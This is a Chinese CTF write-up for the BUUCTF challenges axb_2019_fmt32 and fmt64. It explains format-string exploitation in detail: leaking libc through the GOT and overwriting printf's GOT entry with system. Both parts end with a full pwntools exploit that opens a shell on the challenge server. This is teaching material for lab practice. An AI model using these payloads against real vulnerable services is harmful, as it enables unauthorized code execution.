axb_2019_fmt32
直接看主程序:
发现是有一个明显的格式化字符串漏洞,发现我们没有system,也没有/bin/sh,更没有后门函数,也无法利用栈溢出,那么我们可以通过格式化字符串漏洞实现任意地址可读,修改printf_got为system地址。然后传入/bin/sh\x00,就可以get_shell。
实操:
1.寻找偏移:
我们像往常寻找32位程序偏移一样,传入四个AAAA,但是发现有一个A是在前一个地址的首位,根据小端序存储,d5 d7 ed 41 41 41 41 2d,栈中应该是这样的,说明我们在开头再补上一个A,那么便可以达到偏移8,并且地址不会被截断的情况,如下:
2.获得libc基地址,得到system地址:
知道偏移后,那么就可以通过格式化字符串任意地址可读来获得puts的真实地址(还可以选printf),如何实现呢?偏移地址是8,那么我们的payload如下构造即可:
payload = b'A' + p32(puts_got) + b'b' + b'%8$s'
p.sendafter("Please tell me:",payload)
p.recvuntil(b'b')
puts_addr = u32(p.recv(4))
#puts_addr = u32(p.recvuntil(b'\xf7')[-4:]) 不加b'b'
前面补A,在got表地址后加个b是为了接受puts的真实地址
如此,通过LibcSearcher就可以获得libc版本(我用的是LibcSearcher3),从而得到libc基地址,获得system地址:
3.换got表为system_address:
# 简述一下
def fmtstr_payload(offset, writes, write_size='', numbwritten=? )
offser -> 偏移量
writes -> 要交换的地址,用字典形式
wirte_size -> 逐byte/short/int写
numbwritten -> printf已经输出了几个字符了
通过这个pwntools中自带的函数,我们没必要自己手搓换表了。此题要注意numbwritten的问题:
printf已经先输出了Repeater:九个字符,但是我们加了一个A字符防止地址截断,所以先输出了十个字符。
exp:
from pwn import *
from LibcSearcher3 import *
context(arch = 'i386',os = 'linux',log_level='debug')
#p = process("./fmt32")
p = remote("node5.buuoj.cn",28682)
elf = ELF("./fmt32")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
printf_got = elf.got['printf']
# 第一部分泄露libc基地址
payload = b'A' + p32(puts_got) + b'%8$s'
p.sendafter("Please tell me:",payload)
#p.recvuntil(b'b')
puts_addr = u32(p.recvuntil(b'\xf7')[-4:])
print("[+][+][+][+] puts_address = ",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = base + libc.dump('system')
print("[+][+][+][+] sysytem_address = ",hex(system_addr))
#第二部分将printf_got 换成 system
payload1 = b'A' + fmtstr_payload(8,{printf_got:system_addr},write_size='byte',numbwritten=0xa)
p.sendafter("Please tell me:",payload1)
p.sendline(b';/bin/sh\x00') # 注意这个 ;
p.interactive()
效果:
axb_2019_fmt64
思路一样,具体实现却有着较大的区别。
实操:
1.寻找偏移:
发现这里不需要补A了,地址没有被截断刚好就是第八个
2.获得libc基地址,得到system地址:
如同fmt32一样构造payload:
payload = p64(puts_got) + b"%8$s"
p.sendafter("Please tell me:",payload)
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("[+][+][+][+] puts_address = ",hex(puts_addr))
结果却是各种报错,并没有接收到7f开头的地址:
为什么呢?我们看看我们接受到了什么:
我们接收到的只有发送数据00前面的内容,为什么?因为我们发送的是字符数据,printf检测到\x00便会结束输出,它也不知道后面还有没有有用的数据,就直接结束了。那么\x00哪来的呢?看到写的脚本,我们将puts_got用p64打包成8字节数据,但实际上puts实际地址只会用到6字节,那么便有2字节的\x00多出来,那么printf遇到这个\x00就会截止,从而导致接受失败,这也是64位与32位格式化字符串漏洞的区别之一。 下图是gdb调试看到的puts真实地址。
解决办法:
解决其实挺简单的,我们将\x00填上就行了,并且将puts_got表移到后面去:
# 注意偏移改变了 %9$sAAAA -> 8个字符,占了一个内存单元
payload = b"%9$s" + b'AAAA' + p64(puts_got)
p.sendafter("Please tell me:",payload)
p.recvuntil("Repeater:")
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("[+][+][+][+] puts_address = ",hex(puts_addr))
效果:
3.换got表为system_address:
通过泄露地址,图中就是我们需要改的地址,发现这两个地址,仅在红色方框内是不一样的,那么我们仅需要修改红色方框内的就行了。先思考如何去改?
答案很明显用%?$n去修改,但是直接用%$n合适吗?这里先介绍一下覆写的几种%$?n
%xc$n -> 对应的是一个int,四字节的修改
%xc$hn -> 对应的是一个short int ,双字节的修改(half n)
%xc$hhn -> 对应一个char,单字节的修改
知道这几个,可以开始修改了
[+][+][+][+] puts_address = 0x7fcc5c dc 7690
[+][+][+][+] system_address = 0x7fcc5c d9 d390
1. dc -> d9 采用 %xc$hhn 单字节修改 high_system_addr
2. 7690 -> d390 采用 %xc$hn 双字节修改 low_system_addr
偏移量x看下面实操
代码实现:
# 第二部分手动换got表
high_system_addr = (system_addr >> 16) & 0xff # 单字节修改
low_system_addr = system_addr & 0xffff # 双字节修改
# printf先收到9个字符,可见上面的fmt32
payload = "%" + str(high_system_addr - 9) + "c%?$hhn" + "%" + str(low_system_addr) + "c%?%hn"
print(len(payload)) # 22
大概脚本就是这样,但是此时我们不知道偏移量,此时payload的长度已经达到22了,在连接p64(printf_got)前的payload我们应该达到8字节的整数倍,才可以保证地址不被截断,这里我们可以将payload长度控制在32字节,加上原先的8个内存单元偏移量,那么偏移量就是12了。
完整exp:
from pwn import *
from LibcSearcher import *
context(arch = 'amd64',os = 'linux',log_level='debug')
#p = process("./fmt")
p = remote("node5.buuoj.cn",26052)
elf = ELF("./fmt")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
printf_got = elf.got['printf']
# 第一部分泄露libc
payload = b"%9$s" + b'AAAA' + p64(puts_got) # 注意偏移
p.sendafter("Please tell me:",payload)
p.recvuntil("Repeater:")
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
system_addr = base + libc.dump('system')
print("[+][+][+][+] puts_address = ",hex(puts_addr))
print("[+][+][+][+] system_address = ",hex(system_addr))
# 第二部分手动换got表
high_system_addr = (system_addr >> 16) & 0xff # 单字节修改
low_system_addr = system_addr & 0xffff # 双字节修改
# 第一部分 : printf先收到9个字符,可见上面的fmt32
# 第二部分 : 要减去前面已经输出的字符,即high_system_addr
payload = "%" + str(high_system_addr - 9) + "c%12$hhn" + "%" + str(low_system_addr - high_system_addr) + "c%13$hn"
payload = payload.encode('utf-8') # 将str类型转化为bytes类型,才可以连接b'a'
payload = payload.ljust(32,b'a')
payload += p64(printf_got+2) + p64(printf_got) # 这不懂得可以参考下面文章
p.sendafter("Please tell me:",payload)
p.sendline(b";/bin/sh\x00")
p.interactive()
效果图: